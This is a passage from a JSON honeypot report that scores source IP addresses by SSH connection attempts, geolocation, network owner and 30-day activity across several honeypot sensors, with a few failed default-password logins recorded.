        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T17:40:55.476000+00:00",
        "last_seen_30d": "2026-04-25T17:42:52.726000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "64.62.156.222": {
      "attack_count": 8,
      "first_seen": "2026-04-03T06:14:48.558Z",
      "last_seen": "2026-04-29T15:57:24.852Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T03:58:50+00:00",
        "last_seen_30d": "2026-04-30T15:18:48.657000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "Honeytrap": 76,
        "Cowrie": 8,
        "Adbhoney": 4,
        "Dionaea": 4,
        "Ipphoney": 2,
        "CitrixHoneypot": 1
      }
    },
    "113.59.150.123": {
      "attack_count": 6,
      "first_seen": "2026-04-06T23:37:21.535Z",
      "last_seen": "2026-04-15T08:35:34.214Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:37:21.535000+00:00",
        "last_seen_30d": "2026-04-15T08:36:34.561000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.172.32": {
      "attack_count": 6,
      "first_seen": "2026-04-08T07:19:07.805Z",
      "last_seen": "2026-04-08T07:19:43.893Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T10:15:41+00:00",
        "last_seen_30d": "2026-04-30T10:54:36.615000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 56,
        "Cowrie": 6
      }
    },
    "14.103.123.80": {
      "attack_count": 5,
      "first_seen": "2026-04-09T01:07:19.293Z",
      "last_seen": "2026-04-09T01:07:22.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "xxAA000"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T01:07:19.293000+00:00",
        "last_seen_30d": "2026-04-09T01:08:23.209000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "144.31.81.21": {
      "attack_count": 5,
      "first_seen": "2026-04-13T07:07:32.214Z",
      "last_seen": "2026-04-13T07:07:34.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 199785,
      "as_org": "Cloud Hosting Solutions, Limited.",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T06:54:00.184000+00:00",
        "last_seen_30d": "2026-04-13T07:08:43.093000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "43.226.47.138": {
      "attack_count": 5,
      "first_seen": "2026-04-14T10:15:18.842Z",
      "last_seen": "2026-04-14T10:17:20.448Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T10:15:18.842000+00:00",
        "last_seen_30d": "2026-04-14T10:36:06.745000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5
      }
    },
    "81.192.138.65": {
      "attack_count": 5,
      "first_seen": "2026-04-26T13:49:55.754Z",
      "last_seen": "2026-04-26T13:49:58.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1Q2W3E4R"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T13:49:55.754000+00:00",
        "last_seen_30d": "2026-04-26T13:51:08.647000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "114.35.222.197": {
      "attack_count": 4,
      "first_seen": "2026-04-10T05:52:25.940Z",
      "last_seen": "2026-04-15T14:34:28.158Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Douliu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:52:25.940000+00:00",
        "last_seen_30d": "2026-04-15T14:35:34.450000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "20.169.85.72": {
      "attack_count": 4,
      "first_seen": "2026-04-06T12:25:52.198Z",
      "last_seen": "2026-04-06T12:26:02.638Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 5.0,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 6,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T13:41:58.009000+00:00",
        "last_seen_30d": "2026-04-08T20:36:39.760000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 5,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "20.65.195.51": {
      "attack_count": 4,
      "first_seen": "2026-04-15T13:46:48.893Z",
      "last_seen": "2026-04-15T13:46:59.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T09:46:01.114000+00:00",
        "last_seen_30d": "2026-04-29T01:29:53.448000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "20.80.72.203": {
      "attack_count": 4,
      "first_seen": "2026-04-21T04:28:41.434Z",
      "last_seen": "2026-04-21T04:28:52.004Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T08:28:14.489000+00:00",
        "last_seen_30d": "2026-04-21T04:30:00.136000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "205.210.31.31": {
      "attack_count": 4,
      "first_seen": "2026-04-16T10:18:29.365Z",
      "last_seen": "2026-04-16T10:18:32.342Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 27,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T19:01:42+00:00",
        "last_seen_30d": "2026-04-28T14:01:42.169000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 8,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "220.77.235.89": {
      "attack_count": 4,
      "first_seen": "2026-04-16T06:49:07.266Z",
      "last_seen": "2026-04-29T12:04:15.196Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T06:49:07.266000+00:00",
        "last_seen_30d": "2026-04-29T12:05:20.264000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "42.48.38.45": {
      "attack_count": 4,
      "first_seen": "2026-04-01T05:18:18.090Z",
      "last_seen": "2026-04-01T05:18:33.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:18:18.090000+00:00",
        "last_seen_30d": "2026-04-01T05:19:38.100000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "47.245.91.249": {
      "attack_count": 4,
      "first_seen": "2026-04-07T10:58:30.284Z",
      "last_seen": "2026-04-26T13:47:50.139Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:58:30.284000+00:00",
        "last_seen_30d": "2026-04-26T13:48:52.291000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "52.206.189.10": {
      "attack_count": 4,
      "first_seen": "2026-04-29T00:54:35.499Z",
      "last_seen": "2026-04-29T00:54:41.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 64.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 25,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T00:59:27.215000+00:00",
        "last_seen_30d": "2026-04-29T00:55:45.919000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Ciscoasa": 4,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "59.103.119.163": {
      "attack_count": 4,
      "first_seen": "2026-04-24T08:44:39.368Z",
      "last_seen": "2026-04-24T08:45:04.645Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shekhupura",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T08:44:39.368000+00:00",
        "last_seen_30d": "2026-04-24T08:46:05.061000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.197.134": {
      "attack_count": 4,
      "first_seen": "2026-04-05T12:52:20.378Z",
      "last_seen": "2026-04-05T12:52:24.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 25,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 30,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T10:47:27.264000+00:00",
        "last_seen_30d": "2026-04-30T09:50:50.571000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.186.198": {
      "attack_count": 4,
      "first_seen": "2026-04-29T03:32:38.198Z",
      "last_seen": "2026-04-29T03:32:53.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T06:13:30+00:00",
        "last_seen_30d": "2026-04-30T16:10:34.183000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 49,
        "Tanner": 7,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 3
      }
    },
    "72.61.58.12": {
      "attack_count": 4,
      "first_seen": "2026-04-17T22:10:20.290Z",
      "last_seen": "2026-04-17T22:10:21.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T22:10:20.290000+00:00",
        "last_seen_30d": "2026-04-17T22:11:28.846000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "8.219.57.208": {
      "attack_count": 4,
      "first_seen": "2026-04-05T20:10:07.255Z",
      "last_seen": "2026-04-30T03:05:07.058Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:10:07.255000+00:00",
        "last_seen_30d": "2026-04-30T03:06:10.980000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "14.254.133.146": {
      "attack_count": 2,
      "first_seen": "2026-04-27T08:44:51.201Z",
      "last_seen": "2026-04-27T08:45:04.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T08:44:51.201000+00:00",
        "last_seen_30d": "2026-04-27T08:46:11.317000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.206.38.133": {
      "attack_count": 2,
      "first_seen": "2026-04-29T23:10:50.674Z",
      "last_seen": "2026-04-29T23:11:02.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T23:10:50.674000+00:00",
        "last_seen_30d": "2026-04-29T23:12:07.239000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.174": {
      "attack_count": 2,
      "first_seen": "2026-04-25T06:53:43.576Z",
      "last_seen": "2026-04-25T06:53:53.322Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:33:42.356000+00:00",
        "last_seen_30d": "2026-04-30T23:19:01.237000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 15,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "198.235.24.83": {
      "attack_count": 2,
      "first_seen": "2026-04-24T20:05:06.457Z",
      "last_seen": "2026-04-24T20:05:06.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T21:38:28+00:00",
        "last_seen_30d": "2026-04-29T07:17:09.580000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 19,
        "Miniprint": 9,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "209.99.184.125": {
      "attack_count": 2,
      "first_seen": "2026-04-23T03:46:10.160Z",
      "last_seen": "2026-04-23T03:46:22.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-23T03:40:32+00:00",
        "last_seen_30d": "2026-04-23T04:30:34.697000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 19,
        "Dionaea": 5,
        "Cowrie": 2,
        "ElasticPot": 2
      }
    },
    "27.7.231.150": {
      "attack_count": 2,
      "first_seen": "2026-04-06T04:28:50.757Z",
      "last_seen": "2026-04-06T04:29:05.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T04:28:50.757000+00:00",
        "last_seen_30d": "2026-04-06T04:30:15.089000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.220.86.136": {
      "attack_count": 2,
      "first_seen": "2026-04-04T18:22:10.215Z",
